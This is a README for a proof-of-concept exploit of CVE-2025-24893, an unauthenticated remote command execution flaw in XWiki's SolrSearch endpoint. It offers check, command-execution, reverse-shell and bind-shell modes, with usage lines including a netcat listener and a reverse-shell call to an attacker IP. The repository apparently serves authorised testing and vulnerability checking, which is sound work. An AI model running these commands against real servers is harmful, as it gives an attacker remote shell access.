Proof of Concept for CVE-2025-24893 demonstrating unauthenticated remote command execution in XWiki through unsafe server-side template evaluation.
This repository contains a controlled Proof of Concept (PoC) for CVE-2025-24893, an unauthenticated Remote Command Execution (RCE) vulnerability affecting XWiki.
The vulnerability allows an attacker to execute arbitrary operating system commands on the server due to unsafe server-side template and script evaluation.
XWiki is an open-source enterprise wiki platform commonly used for:
Because XWiki is frequently deployed on internet-facing servers, security vulnerabilities in its request handling and scripting logic can have high real-world impact.
User-controlled input passed to the SolrSearch endpoint was improperly validated and evaluated by the Groovy scripting engine.
This allowed attacker-supplied input to be interpreted as executable server-side code, resulting in command execution on the host system.
This PoC demonstrates the following:
Vulnerability Detection Mode Safely confirms whether the target instance is vulnerable by executing a benign server-side expression.
Remote Command Execution Demonstrates arbitrary command execution on the target system.
Reverse Shell Execution Establishes an outbound shell connection from the target to the tester.
Bind Shell (Optional) Opens a listening shell on the target host (less reliable than reverse shells).
python3 xwiki_cve_2025_24893.py http://target:8080 -m check
nc -lvnp 4444
python3 xwiki_cve_2025_24893.py http://target:8080 -m reverse -lh <attacker_ip> -lp 4444
python3 xwiki_cve_2025_24893.py http://target:8080 -m bind -lp 4444
SolrSearch endpointThis project is provided strictly for educational purposes and authorized security testing.
Any unauthorized use of this code against systems without explicit permission is prohibited.
This repository was created to demonstrate: